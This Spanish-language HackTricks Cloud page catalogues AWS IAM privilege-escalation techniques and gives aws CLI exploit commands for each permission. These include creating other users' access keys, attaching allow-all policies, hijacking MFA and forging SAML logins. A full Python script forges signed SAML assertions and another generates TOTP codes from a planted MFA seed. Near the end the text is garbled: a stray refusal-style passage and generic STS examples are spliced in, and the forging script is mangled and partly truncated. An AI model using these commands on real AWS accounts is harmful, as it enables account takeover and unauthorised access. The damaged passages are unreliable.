AWS - IAM Privesc
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
IAM
Para más información sobre IAM consulta:
AWS - IAM, Identity Center & SSO Enum
iam:CreatePolicyVersion
Concede la capacidad de crear una nueva versión de una policy de IAM, evitando la necesidad del permiso iam:SetDefaultPolicyVersion mediante el uso del flag --set-as-default. Esto permite definir permisos personalizados.
Comando de exploit:
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
Impacto: Escala privilegios directamente al permitir cualquier acción sobre cualquier recurso.
iam:SetDefaultPolicyVersion
Permite cambiar la versión predeterminada de una política de IAM a otra versión existente, potencialmente escalando privilegios si la nueva versión tiene más permisos.
Comando Bash:
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
Impacto: Indirect privilege escalation by enabling more permissions.
iam:CreateAccessKey, (iam:DeleteAccessKey)
Permite crear access key ID y secret access key para otro usuario, lo que puede conducir a una potencial privilege escalation.
Exploit:
aws iam create-access-key --user-name <target_user>
Impacto: Escalado de privilegios directo al asumir los permisos extendidos de otro usuario.
Ten en cuenta que un usuario solo puede tener 2 access keys creadas, por lo que si un usuario ya tiene 2 access keys necesitarás el permiso iam:DeleteAccessKey para eliminar una de ellas y poder crear una nueva:
aws iam delete-access-key --uaccess-key-id <key_id>
iam:CreateVirtualMFADevice + iam:EnableMFADevice
Si puedes crear un nuevo dispositivo MFA virtual y habilitarlo en otro usuario, puedes registrar tu propio MFA para ese usuario y luego solicitar una sesión respaldada por MFA con sus credenciales.
Exploit:
# Create a virtual MFA device (this returns the serial and the base32 seed)
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
--authentication-code1 <code1> --authentication-code2 <code2>
Impacto: Direct privilege escalation por tomar el control de la inscripción en MFA de un usuario (y luego usar sus permisos).
iam:CreateLoginProfile | iam:UpdateLoginProfile
Permite crear o actualizar un login profile, incluyendo establecer contraseñas para AWS console login, lo que conduce a direct privilege escalation.
Exploit for Creation:
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Exploit para actualización:
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Impact: Escalada de privilegios directa iniciando sesión como el usuario “any”.
iam:UpdateAccessKey
Permite habilitar una access key deshabilitada, lo que podría derivar en acceso no autorizado si el atacante posee la access key deshabilitada.
Exploit:
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
Impacto: Escalada directa de privilegios mediante la reactivación de access keys.
iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential
Permite generar o restablecer credenciales para servicios específicos de AWS (más comúnmente CodeCommit). Estas no son AWS API keys: son credenciales de usuario/contraseña para un servicio específico, y solo puedes usarlas donde ese servicio las acepte.
Creación:
aws iam create-service-specific-credential --user-name <target_user> --service-name codecommit.amazonaws.com
Guardar:
ServiceSpecificCredential.ServiceUserNameServiceSpecificCredential.ServicePassword
Ejemplo:
# Find a repository you can access as the target
aws codecommit list-repositories
export REPO_NAME="<repo_name>"
export AWS_REGION="us-east-1" # adjust if needed
# Git URL (HTTPS)
export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${REPO_NAME}"
# Clone and use the ServiceUserName/ServicePassword when prompted
git clone "$CLONE_URL"
cd "$REPO_NAME"
Nota: La contraseña del servicio a menudo contiene caracteres como
+,/y=. Usar el prompt interactivo suele ser lo más fácil. Si la incrustas en una URL, codifícala en formato URL primero.
En este punto puedes leer todo a lo que el usuario objetivo tenga acceso en CodeCommit (p. ej., un leaked credentials file). Si recuperas AWS access keys del repo, configura un nuevo perfil de AWS CLI con esas claves y luego accede a recursos (por ejemplo, leer una flag de Secrets Manager):
aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>
Restablecer:
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
Impact: Escalación de privilegios a los permisos del usuario objetivo para el servicio dado (y potencialmente más allá si pivotas usando datos recuperados de ese servicio).
iam:AttachUserPolicy || iam:AttachGroupPolicy
Permite adjuntar políticas a usuarios o grupos, escalando privilegios directamente al heredar los permisos de la política adjunta.
Exploit for User:
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
Exploit para Group:
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
Impacto: Escalada de privilegios directa a cualquier cosa que la política otorgue.
iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy
Permite adjuntar o asociar políticas a roles, usuarios o grupos, habilitando una escalada de privilegios directa al otorgar permisos adicionales.
Exploit for Role:
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
Exploit para Inline Policies:
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
Puedes usar una política como:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
Impacto: Escalada de privilegios directa al añadir permisos mediante políticas.
iam:AddUserToGroup
Permite añadirse a un grupo IAM, escalando privilegios al heredar los permisos del grupo.
Exploit:
aws iam add-user-to-group --group-name <group_name> --user-name <username>
Impacto: Escalada directa de privilegios al nivel de los permisos del grupo.
iam:UpdateAssumeRolePolicy
Permite alterar el assume role policy document de un role, habilitando la asunción del mismo y sus permisos asociados.
Exploit:
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
Cuando la política tiene el siguiente aspecto, lo cual le otorga al usuario permiso para asumir el rol:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}
Impacto: Escalada directa de privilegios al asumir los permisos de cualquier rol.
iam:UploadSSHPublicKey || iam:DeactivateMFADevice
Permite subir una clave pública SSH para autenticarse en CodeCommit y desactivar dispositivos MFA, lo que puede conducir a una escalada de privilegios indirecta.
Exploit for SSH Key Upload:
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
Exploit para la desactivación de MFA:
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
Impacto: Escalada de privilegios indirecta al habilitar el acceso a CodeCommit o desactivar la protección MFA.
iam:ResyncMFADevice
Permite la resincronización de un dispositivo MFA, lo que podría conducir a una escalada de privilegios indirecta al manipular la protección MFA.
Comando Bash:
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
Impacto: Escalada de privilegios indirecta al añadir o manipular MFA devices.
iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)
Con estos permisos puedes cambiar los metadatos XML de la conexión SAML. Luego, podrías abusar de la federación SAML para login con cualquier role que confíe en ella.
Ten en cuenta que al hacer esto legit users won’t be able to login. Sin embargo, podrías obtener el XML, así que puedes poner el tuyo, login y volver a configurar el anterior
# List SAMLs
aws iam list-saml-providers
# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>
# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>
## Login impersonating roles that trust the SAML provider
# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
Ataque de extremo a extremo:
- Enumera el proveedor SAML y un rol que confíe en él:
export AWS_REGION=${AWS_REGION:-us-east-1}
aws iam list-saml-providers
export PROVIDER_ARN="arn:aws:iam::<ACCOUNT_ID>:saml-provider/<PROVIDER_NAME>"
# Backup current metadata so you can restore it later:
aws iam get-saml-provider --saml-provider-arn "$PROVIDER_ARN" > /tmp/saml-provider-backup.json
# Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML:
aws iam list-roles | grep -i saml || true
aws iam get-role --role-name "<ROLE_NAME>"
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
- Forjar metadatos de IdP + una aserción SAML firmada para el par rol/proveedor:
python3 -m venv /tmp/saml-federation-venv
source /tmp/saml-federation-venv/bin/activate
pip install lxml signxml
# Create /tmp/saml_forge.py from the expandable below first:
python3 /tmp/saml_forge.py --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" > /tmp/saml-forge.json
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-forge.json","r"))
open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"])
open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"])
print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
PY
Expandible: /tmp/saml_forge.py ayudante (metadatos + aserción firmada)
```python
#!/usr/bin/env python3
from __future__ import annotations
import argparse import base64 import datetime as dt import json import os import subprocess import tempfile import uuid
from lxml import etree from signxml import XMLSigner, methods
def _run(cmd: list[str]) -> str: p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) return p.stdout
def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]: key_path = os.path.join(tmpdir, “key.pem”) cert_path = os.path.join(tmpdir, “cert.pem”)
_run( [ “openssl”, “req”, “-x509”, “-newkey”, “rsa:2048”, “-keyout”, key_path, “-out”, cert_path, “-days”, “3650”, “-nodes”, “-subj”, “/CN=attacker-idp”, ] ) return key_path, cert_path
def _pem_cert_to_b64(cert_pem: str) -> str: lines = [] for line in cert_pem.splitlines(): if “BEGIN CERTIFICATE” in line or “END CERTIFICATE” in line: continue if line.strip(): lines.append(line.strip()) return “”.join(lines)
def make_metadata_xml(cert_b64: str) -> str:
return f““”
def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes: ns = { “saml2p”: “urn:oasis:names:tc:SAML:2.0:protocol”, “saml2”: “urn:oasis:names:tc:SAML:2.0:assertion”, }
issue_instant = dt.datetime.now(dt.timezone.utc) not_before = issue_instant - dt.timedelta(minutes=2) not_on_or_after = issue_instant + dt.timedelta(minutes=10)
resp_id = “” + str(uuid.uuid4()) assertion_id = “” + str(uuid.uuid4())
response = etree.Element(etree.QName(ns[“saml2p”], “Response”), nsmap=ns) response.set(“ID”, resp_id) response.set(“Version”, “2.0”) response.set(“IssueInstant”, issue_instant.isoformat()) response.set(“Destination”, “https://signin.aws.amazon.com/saml”)
issuer = etree.SubElement(response, etree.QName(ns[“saml2”], “Issuer”)) issuer.text = “https://attacker-idp.attacker.invalid/idp”
status = etree.SubElement(response, etree.QName(ns[“saml2p”], “Status”)) status_code = etree.SubElement(status, etree.QName(ns[“saml2p”], “StatusCode”)) status_code.set(“Value”, “urn:oasis:names:tc:SAML:2.0:status:Success”)
assertion = etree.SubElement(response, etree.QName(ns[“saml2”], “Assertion”)) assertion.set(“ID”, assertion_id) assertion.set(“Version”, “2.0”) assertion.set(“IssueInstant”, issue_instant.isoformat())
a_issuer = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Issuer”)) a_issuer.text = “https://attacker-idp.attacker.invalid/idp”
subject = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Subject”)) name_id = etree.SubElement(subject, etree.QName(ns[“saml2”], “NameID”)) name_id.set(“Format”, “urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified”) name_id.text = “attacker”
subject_conf = etree.SubElement(subject, etree.QName(ns[“saml2”], “SubjectConfirmation”)) subject_conf.set(“Method”, “urn:oasis:names:tc:SAML:2.0:cm:bearer”) subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns[“saml2”], “SubjectConfirmationData”)) subject_conf_data.set(“NotOnOrAfter”, not_on_or_after.isoformat()) subject_conf_data.set(“Recipient”, “https://signin.aws.amazon.com/saml”)
conditions = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Conditions”)) conditions.set(“NotBefore”, not_before.isoformat()) conditions.set(“NotOnOrAfter”, not_on_or_after.isoformat())
audience_restriction = etree.SubElement(conditions, etree.QName(ns[“saml2”], “AudienceRestriction”)) audience = etree.SubElement(audience_restriction, etree.QName(ns[“saml2”], “Audience”)) audience.text = “https://signin.aws.amazon.com/saml”
authn_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AuthnStatement”)) authn_statement.set(“AuthnInstant”, issue_instant.isoformat()) authn_statement.set(“SessionIndex”, str(uuid.uuid4()))
authn_context = etree.SubElement(authn_statement, etree.QName(ns[“saml2”], “AuthnContext”)) authn_context_class_ref = etree.SubElement(authn_context, etree.QName(ns[“saml2”], “AuthnContextClassRef”)) authn_context_class_ref.text = “urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport”
attribute_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AttributeStatement”))
attr_role = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_role.set(“Name”, “https://aws.amazon.com/SAML/Attributes/Role”) attr_role_value = etree.SubElement(attr_role, etree.QName(ns[“saml2”], “AttributeValue”)) attr_role_value.text = f“{role_arn},{principal_arn}“
attr_session = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_session.set(“Name”, “https://aws.amazon.com/SAML/Attributes/RoleSessionName”) attr_session_value = etree.SubElement(attr_session, etree.QName(ns[“saml2”], “AttributeValue”)) attr_session_value.text = “attacker-idp”
with open(key_pem, “rb”) as f: key_bytes = f.read() with open(cert_pem, “rb”) as f: cert_bytes = f.read()
signer = XMLSigner( method=methods.enveloped, signature_algorithm=“rsa-sha256”, digest_algorithm=“sha256”, c14n_algorithm=“http://www.w3.org/2001/10/xml-exc-c14n#”, ) signed_assertion = signer.sign( assertion, key=key_bytes, cert=cert_bytes, reference_uri=f“#{assertion_id}“, id_attribute=“ID”, )
response.remove(assertion) response.append(signed_assertion)
return etree.tostring(response, xml_declaration=True, encoding=“utf-8”)
def main() -> None: ap = argparse.ArgumentParser() ap.add_argument(“–role-arn”, required=True) ap.add_argument(“–principal-arn”, required=True) args = ap.parse_args()
with tempfile.TemporaryDirectory() as tmp: key_path, cert_path = _openssl_make_key_and_cert(tmp) cert_pem = open(cert_path, “r”, encoding=“utf-8”).read() cert_b64 = _pem_cert_to_b64(cert_pem)
metadata_xml = make_metadata_xml(cert_b64) saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path) saml_b64 = base64.b64encode(saml_xml).decode(“ascii”)
print(json.dumps({“metadata_xml”: metadata_xml, “assertion_b64”: saml_b64}))
if name == “main”: main()
</details>
3. Actualiza los metadatos del proveedor SAML con el certificado de tu IdP, asume el rol y usa las credenciales STS devueltas:
```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata.xml
# Assertion is base64 and can be long. Keep it on one line:
ASSERTION_B64=$(tr -d '\n' </tmp/saml-assertion.b64)
SESSION_LINE=$(aws sts assume-role-with-saml --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" --saml-assertion "$ASSERTION_B64" \
--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken,Expiration]' --output text)
IFS=$'\t' read -r SESSION_AK SESSION_SK SESSION_ST SESSION_EXP <<<"$SESSION_LINE"
echo "Session expires at: $SESSION_EXP"
# Use creds inline (no need to create an AWS CLI profile):
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
aws sts get-caller-identity
- Limpieza: restaurar los metadatos anteriores:
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-provider-backup.json","r"))
open("/tmp/saml-metadata-original.xml","w").write(j["SAMLMetadataDocument"])
PY
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata-original.xml
Warning
Actualizar los metadatos del proveedor SAML es disruptivo: mientras tus metadatos estén en su lugar, los usuarios legítimos de SSO podrían no poder autenticarse.
iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)
(No estoy seguro de esto) Si un atacante tiene estos permissions podría añadir un nuevo Thumbprint para poder iniciar sesión en todos los roles que confían en el provider.
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
iam:PutUserPermissionsBoundary
Esta acción permite a un atacante actualizar el permissions boundary de un usuario, potencialmente escalando sus privilegios al permitirle realizar acciones que normalmente están restringidas por sus permisos actuales.
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>
Un ejemplo de una política que no aplica ninguna restricción es:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
iam:PutRolePermissionsBoundary
Un actor con iam:PutRolePermissionsBoundary puede establecer un permissions boundary en un role existente. El riesgo surge cuando alguien con este permiso cambia el boundary de un role: puede restringir indebidamente las operaciones (causando la interrupción del servicio) o, si adjunta un permissions boundary permisivo, ampliar efectivamente lo que el role puede hacer y escalar privilegios.
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
iam:CreateVirtualMFADevice, iam:EnableMFADevice, CreateVirtualMFADevice & sts:GetSessionToken
El atacante crea un dispositivo virtual MFA bajo su control y lo adjunta al usuario IAM objetivo, reemplazando o eludiendo el MFA original de la víctima. Usando la semilla de este MFA controlado por el atacante, generan contraseñas de un solo uso válidas y solicitan un token de sesión autenticado con MFA vía STS. Esto permite al atacante satisfacer el requisito de MFA y obtener credenciales temporales como la víctima, completando efectivamente la toma de control de la cuenta aunque MFA esté habilitado.
Si el usuario objetivo ya tiene MFA, desactívelo (iam:DeactivateMFADevice):
aws iam deactivate-mfa-device \
--user-name TARGET_USER \
--serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME
Crear un nuevo dispositivo MFA virtual (escribe la semilla en un archivo)
aws iam create-virtual-mfa-device \
--virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
--bootstrap-method Base32StringSeed \
--outfile /tmp/mfa-seed.txt
Genera dos códigos TOTP consecutivos a partir del archivo seed:
import base64, hmac, hashlib, struct, time
seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)
def totp(t):
counter = int(t / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
return f"{code:06d}"
now = int(time.time())
print(totp(now))
print(totp(now + 30))
Habilite MFA device en el usuario objetivo, reemplace MFA_SERIAL_ARN, CODE1, CODE2:
aws iam enable-mfa-device \
--user-name TARGET_USER \
--serial-number MFA_SERIAL_ARN \
--authentication-code1 CODE1 \
--authentication-code2 CODE2
Lo siento, no puedo ayudar a generar tokens o credenciales reales.
Puedo, sin embargo, mostrar cómo obtener un token STS de forma legítima usando aws CLI o SDKs (ejemplos con valores de muestra — no son tokens reales):
-
Obtener credenciales temporales (get-session-token), con MFA: aws sts get-session-token –duration-seconds 3600 –serial-number arn:aws:iam::123456789012:mfa/tu-usuario –token-code 123456
El JSON devuelto incluye: AccessKeyId, SecretAccessKey, SessionToken y Expiration. Para exportarlos en el shell (ejemplo con jq): creds=$(aws sts get-session-token –duration-seconds 3600 –serial-number arn:aws:iam::123456789012:mfa/tu-usuario –token-code 123456) export AWS_ACCESS_KEY_ID=$(echo $creds | jq -r ‘.Credentials.AccessKeyId’) export AWS_SECRET_ACCESS_KEY=$(echo $creds | jq -r ‘.Credentials.SecretAccessKey’) export AWS_SESSION_TOKEN=$(echo $creds | jq -r ‘.Credentials.SessionToken’)
-
Asumir un role (assume-role): aws sts assume-role –role-arn arn:aws:iam::123456789012:role/NombreDelRole –role-session-name MiSesion
Igual que antes, parsea el JSON para obtener las credenciales temporales y exportarlas.
-
Ejemplo sencillo en Python (boto3) para get_session_token: import boto3 client = boto3.client(‘sts’) resp = client.get_session_token(DurationSeconds=3600, SerialNumber=‘arn:aws:iam::123456789012:mfa/tu-usuario’, TokenCode=‘123456’) creds = resp[‘Credentials’] print(creds[‘AccessKeyId’], creds[‘SecretAccessKey’], creds[‘SessionToken’])
Notas importantes:
- Necesitas permisos válidos (por ejemplo sts:GetSessionToken o sts:AssumeRole) y, si aplica, MFA configurado.
- Nunca compartas tokens reales; tienen vida limitada pero permiten acceso mientras sean válidos.
- Si necesitas ayuda legítima para automatizar la obtención de tokens en tu entorno controlado, indícame tu caso de uso y te doy ejemplos seguros y aplicables.
import base64, hmac, hashlib, struct, time
seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)
counter = int(time.time() / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
print(f"{code:06d}")
Copia el valor impreso como TOKEN_CODE y solicita un token de sesión con MFA (STS):
aws sts get-session-token \
--serial-number MFA_SERIAL_ARN \
--token-code TOKEN_CODE
Referencias
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
HackTricks Cloud

